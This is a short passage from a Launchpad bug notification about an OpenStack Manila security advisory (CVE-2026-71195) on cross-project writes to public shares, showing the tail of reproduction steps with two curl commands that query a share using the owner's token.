        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"

-- 
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2161412

Title:
  [OSSA-2026-046] Public Manila Share Allows Cross-Project Access-Rule
  and Export-Metadata Writes (CVE-2026-71195)

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